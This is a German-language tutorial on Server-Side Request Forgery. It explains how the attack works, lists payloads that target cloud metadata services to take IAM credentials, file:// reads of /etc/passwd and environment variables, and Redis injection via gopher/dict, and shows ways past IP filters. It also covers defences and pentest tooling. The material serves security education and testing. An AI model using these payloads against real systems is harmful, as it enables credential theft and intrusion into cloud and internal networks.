SSRF - Server-Side Request Forgery
Server-Side Request Forgery (SSRF) ist eine Schwachstelle bei der ein Angreifer den Server zwingt HTTP-Anfragen an interne oder externe Ressourcen zu senden die er direkt nicht erreichen kann. Über SSRF können Cloud-Metadaten-APIs (AWS IMDSv1: 169.254.169.254), interne Microservices, Datenbanken und Admin-Interfaces angegriffen werden. SSRF ist auf Platz 10 der OWASP Top 10 2021 (A10:2021) und ein häufiger Angriffsvektor in Cloud-Umgebungen.
SSRF verwandelt einen Server zum Proxy für Angreifer - und wird gefährlicher je mehr Cloud-Services hinter dem Server laufen. In AWS kann eine SSRF-Lücke zur vollständigen Kompromittierung der gesamten AWS-Infrastruktur führen wenn der EC2 Instance Metadata Service (IMDS) ohne IMDSv2 konfiguriert ist. Capital One verlor 2019 über 100 Millionen Kundendatensätze durch eine SSRF-Schwachstelle in einem WAF - eine der teuersten SSRF-Attacken der Geschichte.
SSRF Grundprinzip
Normaler Request-Flow:
Browser → Web-App (example.com/fetch?url=https://legitime-seite.de) → legitime-seite.de → Antwort an Browser
SSRF-Angriff:
Angreifer → Web-App (example.com/fetch?url=http://169.254.169.254/latest/meta-data/) → AWS IMDS (interner Service, nicht extern erreichbar!) → Antwort mit IAM Credentials an Angreifer!
Warum funktioniert das?
- Server vertraut sich selbst mehr als externen Clients
- Server hat Zugang zu internen Netzwerken (localhost, 10.x, 172.16.x)
- Cloud-IMDS ist für EC2-Instance erreichbar, nicht für externe
- Firewalls schützen extern → intern ist oft “trusted”
Typische SSRF-Parameter in Web-Apps:
url=, uri=, path=, src=, dest=, image=, href=, redirect=, target=, continue=, proxy=, return=, feed=, open=, file=, callback=, webhook=, next=, data=, window=, to=, out=
SSRF gegen Cloud-Metadaten
AWS IMDSv1 (gefährlich! - kein Token erforderlich)
GET http://169.254.169.254/latest/meta-data/
→ liste verfügbare Metadaten
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
→ findet den IAM-Rollennamen
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/MyEC2Role
→ gibt TEMPORÄRE AWS CREDENTIALS zurück!
{
"Code" : "Success",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIA...",
"SecretAccessKey" : "abc123...",
"Token" : "FQoGZXIvYXd...",
"Expiration" : "2026-03-04T12:00:00Z"
}
→ Angreifer kann als EC2-Rolle agieren!
AWS IMDSv2 (geschützt - Token erforderlich)
# Erst Token holen (PUT Request - Browser kann kein PUT direkt senden):
PUT http://169.254.169.254/latest/api/token
Header: X-aws-ec2-metadata-token-ttl-seconds: 21600
→ Token wird zurückgegeben
# Dann Metadaten mit Token abrufen:
GET http://169.254.169.254/latest/meta-data/
Header: X-aws-ec2-metadata-token: <token>
# SSRF-Schutz: Angreifer kann Token nicht einfach generieren!
# (Erfordert direkte Netzwerkverbindung zur Instance)
GCP (Google Cloud) Metadata Server
GET http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
Header: Metadata-Flavor: Google
→ OAuth Token für GCP-Services
Azure IMDS
GET http://169.254.169.254/metadata/instance?api-version=2021-02-01
Header: Metadata: true
→ Instanz-Informationen, verwaltete Identitäts-Token
Andere interne Ziele
http://localhost/admin → lokale Admin-Interfaces
http://10.0.0.1/ → interne Server
http://172.16.0.1/ → Management-Interfaces
http://192.168.1.1/ → Router/Switches
http://elasticsearch:9200/_cat/indices → Elasticsearch-Daten
http://redis:6379/ → Redis (über gopher://)
dict://redis:6379/KEYS * → Redis SSRF via DICT
SSRF Typen
Basic SSRF (direkte Antwort)
- Server sendet Request und gibt Antwort zurück
- Angreifer sieht direkten Response
- Erkennbar durch: URL-Parameter der externe Ressourcen lädt
Blind SSRF (keine direkte Antwort)
- Server macht Request, gibt aber keine Antwort zurück
- Nur Seiteneffekte erkennbar (DNS-Lookup, Timing, Error-Messages)
- Nachweis: eigenen Server als Target nutzen (Burp Collaborator, interactsh)
# Nachweis mit Burp Collaborator:
fetch?url=http://xyz.burpcollaborator.net/ssrf-test
# → Wenn Collaborator DNS-Anfrage empfängt: Blind SSRF bestätigt!
# Open-Source Alternative: interactsh
fetch?url=http://UNIQUE_ID.oast.fun/test
# → interactsh-client registriert den Inbound-Request
SSRF via Redirect
# Angreifer-Server redirected zu internem Ziel:
GET /redirect → HTTP 302 Location: http://169.254.169.254/latest/meta-data/
# → Wenn App Redirects folgt: SSRF via offene Redirect-Kette
SSRF via DNS Rebinding
# 1. Schritt: DNS für attacker.com gibt öffentliche IP zurück (besteht SSRF-Filter)
# 2. Schritt: App macht zweiten Request - DNS gibt jetzt 169.254.169.254 zurück!
# → Time-of-Check-Time-of-Use Angriff
File URI SSRF
fetch?url=file:///etc/passwd → lokale Dateien lesen
fetch?url=file:///proc/self/environ → Umgebungsvariablen (API Keys!)
SSRF via verschiedene Protokolle
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0a → Redis Command Injection
dict://127.0.0.1:6379/AUTH:password → Redis Auth bypass
ftp://127.0.0.1:21/ → FTP-Server intern
ldap://127.0.0.1:389/ → LDAP-Server intern
SSRF-Umgehung von Filtern
IP-Adress-Filter umgehen
| Methode | Beispiel |
|---|---|
| Oktal-Notation | 169.254.169.254 → 0251.0376.0251.0376 |
| Hexadezimal | 169.254.169.254 → 0xa9fea9fe |
| Dezimal (Long Integer) | 169.254.169.254 → 2852039166 |
| Mixed Notation | http://0177.0.0x01/ → 127.0.0.1 |
| IPv6 loopback | http://[::1]/admin |
DNS-Auflösung zu internen IPs
http://169.254.169.254.nip.io/ → resolves zu 169.254.169.254
http://localtest.me/ → resolves zu 127.0.0.1
Domain mit internem A-Record
# Eigene Domain registrieren mit A-Record auf 169.254.169.254
http://evil.attacker.com/meta → resolves zu 169.254.169.254
URL-Encoding und Path Traversal
http://127.0.0.1/ → http://127%2e0%2e0%2e1/
http://127.0.0.1/admin → http://127.0.0.1/%61dmin
http://legitime-site.de@169.254.169.254/ → Authority-Parsing-Unterschied
http://169.254.169.254#legitime-site.de
SSRF-Schutzmaßnahmen
1. Allowlist statt Blocklist
# NICHT: Blocklist von IPs/Domains (zu leicht zu umgehen!)
# GUT: Allowlist von erlaubten Zielen
ALLOWED_DOMAINS = ['api.example.com', 'cdn.example.com']
def safe_fetch(url: str) -> str:
parsed = urllib.parse.urlparse(url)
if parsed.hostname not in ALLOWED_DOMAINS:
raise ValueError(f"Domain {parsed.hostname} nicht erlaubt")
if parsed.scheme not in ['http', 'https']:
raise ValueError("Nur HTTP/HTTPS erlaubt")
response = requests.get(url, timeout=5, allow_redirects=False)
return response.text
2. Redirect-Folgen deaktivieren
# Python requests: allow_redirects=False
# Node.js: redirect: 'manual' in fetch
# → Verhindert SSRF via Redirect-Chains
3. DNS-Auflösung nach Allowlist prüfen
# NICHT nur Hostname prüfen - nach DNS-Auflösung IP prüfen!
import socket
ip = socket.gethostbyname(parsed.hostname)
if ipaddress.ip_address(ip).is_private:
raise ValueError("Private IP nicht erlaubt!")
4. Network-Ebene Schutz
# AWS IMDSv2 erzwingen (Token-basiert):
aws ec2 modify-instance-metadata-options \
--instance-id i-xxx \
--http-tokens required \ # IMDSv2 erzwingen!
--http-endpoint enabled
# Instance Metadata komplett deaktivieren wenn nicht benötigt:
aws ec2 modify-instance-metadata-options \
--instance-id i-xxx \
--http-endpoint disabled
# Network Policy: ausgehende Verbindungen von App-Containern:
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
spec:
podSelector:
matchLabels:
app: web
egress:
- to:
- ipBlock:
cidr: 0.0.0.0/0
except:
- 169.254.0.0/16 # AWS IMDS blockieren
- 10.0.0.0/8 # interne Netzwerke blockieren
- 172.16.0.0/12
- 192.168.0.0/16
5. Webhook-Validation
def validate_webhook_url(url: str) -> bool:
"""DNS-Pre-Check + Async-Validation"""
parsed = urllib.parse.urlparse(url)
# 1. Keine Private IPs
try:
ip = socket.gethostbyname(parsed.hostname)
if ipaddress.ip_address(ip).is_private:
return False
except socket.gaierror:
return False
# 2. Nur HTTPS für externe Webhooks
return parsed.scheme == 'https'
SSRF-Testing im Pentest
Burp Suite Pro
- Burp Collaborator: Out-of-band Nachweis für Blind SSRF
- Burp Scanner: automatische SSRF-Erkennung
- Passive Scan: erkennt potenzielle SSRF-Parameter
interactsh (Open Source)
# Server starten:
interactsh-server -domain oast.fun -ip 1.2.3.4
# Client nutzen:
interactsh-client
> USE xyz.oast.fun # Unique ID generieren
# Im Test:
fetch?url=http://xyz.oast.fun/ssrf-test
# → Client zeigt eingehende Anfrage: IP, Headers, Payload
Nuclei SSRF Templates
nuclei -t nuclei-templates/vulnerabilities/ssrf/ -u https://target.com
# → Automatisierte SSRF-Erkennung mit DNS-Callback
SSRF-Payloads testen
# Cloud Metadata:
fetch?url=http://169.254.169.254/latest/meta-data/
fetch?url=http://metadata.google.internal/
fetch?url=http://169.254.169.254/metadata/instance
# Blind SSRF mit Timing:
fetch?url=http://10.0.0.1:22/ → SSH-Port (langsame Antwort = Port offen?)
fetch?url=http://10.0.0.1:80/ → HTTP-Port
# Out-of-Band (DNS):
fetch?url=http://COLLABORATOR.burpcollaborator.net/